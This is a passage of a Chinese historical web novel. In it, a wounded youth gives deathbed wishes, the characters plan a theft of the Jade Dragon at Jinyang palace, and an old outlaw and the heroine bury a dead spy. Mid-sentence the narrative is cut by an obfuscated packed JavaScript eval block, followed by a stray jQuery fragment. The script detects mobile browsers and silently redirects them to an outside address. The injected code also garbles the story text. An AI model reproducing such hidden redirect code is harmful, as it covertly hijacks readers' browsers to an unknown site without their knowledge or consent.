长孙青璟犹豫了一下,握着段志玄的手腕将他手臂放平。“我使了那么大力救你,你可行行好活下来,向全天下传扬传扬洛阳高神医的回春妙手。”
“孝璟,如果我明早死了,就让李世民和曹瑜罕躲起来。”段志玄平静地叮嘱道。
“好。”长孙青璟也不知除了应允他的所请还能如何帮他。
“跟我父亲说,我是为了给流民分发官仓的米粟与府兵战死的,不要说今夜的事。”
“好。”长孙青璟抹了一下眼眶。
“告诉我未婚妻张娘子,我无法偷玉龙子给她了……你是读书人,能不能把我的死状跟她描述得壮烈一些……”
“一定,我告诉她你是黑丸,为了掩护我们这些没用的白丸战死了。”长孙青璟确定地说道,“虽说我是临时入伙的白丸,但也是和你一起干大事的……她保管信我说的。”
“由你来转述,我就放心了……你能不能再替我求求她好歹为我戴个缌麻再改许别人?——不用很长时间的,哪怕用一个月回想回想我也行。”嘴硬又狂妄的少年居然带着点哭腔说出了这句话。
“啊?”
“算了,当我没说——不准告诉张亮和李世民我说过这话。你转告张娘子,再许的人要比我更孔武一些,不然我死不瞑目……”
“好。”长孙青璟眼眶微红。
“我明早要是死了,你们把我就地埋了,不要拖累大家。你替我擦拭时,身上值钱的物件都交给李娘子,算作赔罪;曹瑜罕明天肯定带着钱财来以防回新安路上有不测,我若死了,就让他把带来的钱也都交给李娘子……”即便这少年再目中无人,对于搅乱无辜女孩的婚事仍是耿耿于怀,“李娘子,你看在我快死的份上,就宽宥我吧。”
李梵娘满面妆容已经被泪水汗水弄得花糊,她上前道:“我早不怪你了,你随身东西、你朋友的钱我都不要。你挺过去啊!张亮等着你和他在晋阳见面。”
“孝璟,如果以后我家人找不到我的尸骨,你就替我主持招魂仪式吧!”
“好,我用你最喜欢的红色襕袍招魂,你回家时不要认错了……”
“孝璟,你把我那张……”
“高孝璟,不要和他婆婆妈妈,聊生聊死的毫无丈夫气。亏我方才夸他能当将军呢……”韦先生觉得这样下去,只怕段志玄会毫无求生欲,便截断那些言毫无头绪的伤感遗言,“陪他说点别的,最好是他喜欢的、不能割舍的,不要再说这些死呀活呀的。”
长孙青璟擦干眼泪,灵机一动道:“志玄,你一定喜欢骏马吧?世民的马厩里有不少名马。等他回来……”
段志玄微笑道:“晋阳不缺突厥商贩的宝驹,我更喜欢鹰隼鸟雀。”
“喜欢禽鸟就更方便了。”长孙青璟道,“等你身体好了,我带你去大兴与我姊夫作伴,澧水边的鸟雀都认得他,野老们给他取了个外号叫‘鸟贼’……”
“好!”段志玄的脸上露出一丝喜色。
长孙青璟发觉韦先生正侧耳倾听关于“鸟贼”的只言片语,神情异样。
她心中狐疑,后悔把李客师的绰号说了出来,便改口问道:“你说,要是你去晋阳宫偷玉龙子——应该去哪个殿阁呢?”
韦先生紧张的坐姿突然松爽起来。
“我空有地图,一时也没有主意,你学识广博,帮我猜猜。”——谢天谢地,段志玄终于不再作临终嘱托了。
“那我随便琢磨一下,博你一笑。”长孙青璟依着方才记住的地图,侃侃而谈:“若是皇帝未曾巡幸晋阳,那么玉龙子有可能宝藏于东侧大盈库;若是法驾恰好在晋阳,那么依着皇帝喜爱炫耀的性子,他应该把玉龙子移去朝会、接见外国使节所用的大业殿——你那地图上应该还叫做仁寿殿;如果今春今夏雨水不足,粮食歉收,皇帝又恰好在晋阳,那让他开仓赈灾是不可能的……”
韦先生忍不住嗤笑了一声,随即正色道:“高公子不必在意,继续说。”
“赈灾的事情杨广虽说半点不做,祈雨那么感天动地的大事他是一定会做的,此时玉龙子大概又被移送到西侧的大觉法藏阁中……”长孙青璟以自己与杨广在上元节短暂的一面合理揣测其这个虚伪又爱演戏的皇帝的举止。
韦先生拊髀哈哈大笑:“高孝璟你小子,怎么如此洞悉杨广那畜生?好似亲眼见过他一般。你这话说得——哈哈哈,说得真是太摹形摄神了!”
“好,那我就信你。趁杨广巡幸晋、大摆酒宴时,潜入仁寿——呃,大业殿盗取玉龙子。”段志玄声音不高,却透着股掩饰不住的兴奋劲。
“你这小子,为何专挑最不好下手的时机作乱?”韦先生问道,“若是挑个稳妥的时机,那就是应该在杨广不在晋阳之际,行宫戒备松懈时偷偷下手;若是依着你那想出名的性子,应该在祈雨时明抢。你在宴会上动手,也不怕骁果把你碎尸万段?”
“老先生,这你就不懂了。”段志玄将脸侧了侧,努力摆出正经十足的模样道,“杨广不在晋阳时我去偷盗玉龙子,说不定晋阳宫监就暂时将这大事隐瞒过去了,然后大家都装作从未发生过此事,到时候我如何扬名天下?”
长孙青璟与韦先生一同抚掌大笑。
“那祈雨也是大事,比朝会还隆重,你想出名为何不在祈雨时偷盗?”韦先生见段志玄眉头微蹙,为他的伤口抹上一些川乌膏镇痛。
“若是年成不好,皇帝不开仓,百姓又有何罪?我在祈雨时偷盗玉龙子,岂不遭天谴?”段志玄一时兴奋,也便忘记了疼痛,“算来算去,又想扬名四海,又不能牵连无辜百姓,便只能趁杨广在晋阳宫宴饮时去走上一遭。”
“哈哈哈,你还理直气壮挑上日子了——不过话又说回来,你小子为人还挺正直。”韦先生感慨道,“我若年轻二十岁,说不定也一时义愤与你同去,不闹得天下皆知决不罢休!”说罢,韦先生忍不住近前握紧段志玄的手。
他为段志玄盖好被褥,摸了摸他额头道:“既然心中还有这么个念想,就不要说丧气话。好好睡一觉,明早起身就大好了。你好好活着,那两位小郎君也不去新安白跑一趟,那个曹白丸也不至于拖着一具尸体悻悻而归,高孝璟以后遇人便能吹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676439|178809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘘自己有回春之术——嗯,我还要让张亮长子认你为义父……”
“韦先生!”李梵娘嗔怪道,“你怎么三句话不离张亮?”
“哈哈哈,今晚和小友们聊得开心,看在他们份上,张亮这个女婿我也勉强认下了,真想随了你们一起去给昏君添添乱。”韦先生的心情突然大好。长孙青璟觉得此时的意气风发才是韦先生的真性情。
“孝璟,你随我去搬药材。明早用。梵娘,你守着你儿子义父,他要痛醒了就替他搽川乌草乌膏。”李梵娘对于视自己为女儿的韦先生对张亮态度大变一事有些不适应,不过也只能无视他的胡言乱语,默认他的安排,将灯盏移远些,应承道,“是。”
还未出门,韦先生便凑近长孙青璟道:“拿好铁锨,随我走!”
而屋中的段志玄又絮絮叨叨起来:“李娘子,你可以近前说话吗?我有事求你。”
“聒噪。”韦先生摇摇头笑着说。
韦先生与长孙青璟执炬来到方才闹出巨大动静的槐树下。一人正直挺挺地躺在那里。
“候人!”长孙青璟惊叫道。
“我在他身上翻到了一封蜡书。”韦先生踹了死尸一脚,却并不提及蜡书内容,“冲我来的。今晚很热闹。是吧?”
长孙青璟冷笑一声:“反正我现在与逃犯也无异了。只不过老先生太过高看我,觉得我上可为伤员缝针疗伤,下可为死人挖坟,无所不能——我可是正经儒生,干不得这些不正经的活!”
她心中实在害怕,对于埋尸这种参军戏里的勾当又陌生又害怕又反感,想要推拒又觉得太过矫情。
“少聒噪,我不管你正经不正经。不替我埋尸,明天你们一伙怕是陷进更大的案子!——实话实说,我可是朝廷要犯,宇文述、裴蕴做梦都想抓回杨广跟前邀功的那种要犯。”韦先生将铁锨插进土中,“看好我的手势。跟着好好学!”
长孙青璟也不过嘴上抱怨几句,手脚确是一刻也不敢稍作停滞。
“高孝璟,你还真是个四体不勤的郎君……有空该多推举推举石锁,不然大事临头,连硬弓都开不了!”韦先生刚想对刨坑都刨不利索的年轻人抱怨几句,又劝慰自己毕竟多一个人帮忙,今晚再埋汰这年轻书生就不礼貌了,“也罢,你在此处聊胜于无——我本是躺在坑底的人,多活一天便给杨广多添一日乱,多活一刻就令杨广宇文述就多做一个噩梦。”
长孙青璟停锨笑道:“果然如你向段志玄吹嘘的那般,你是上柱国韩子通青眼有加的大盗,连樊子盖和宇文述都抓不住你。敢问……”
“有些事情,高公子还是不要弄得太清楚为妙。为你自己着想,你不要随意套我的话……”韦先生蹲下身,开始搜捡死人的随身物品,将刀,弓解下扔在一边,从囊袋中倒出一块金饼,自己收好,几枚剪边钱被扔进坑里,“什么吝啬鬼,连私铸钱都留着。宇文述这老狗把原本给候人干活的钱都弄进自己私库了吗?”
他又着手解这死人的蹀躞带:“混账,死沉死沉的!也不知身上都装了些什么?喂,高孝璟,不要愣着,过来帮忙。”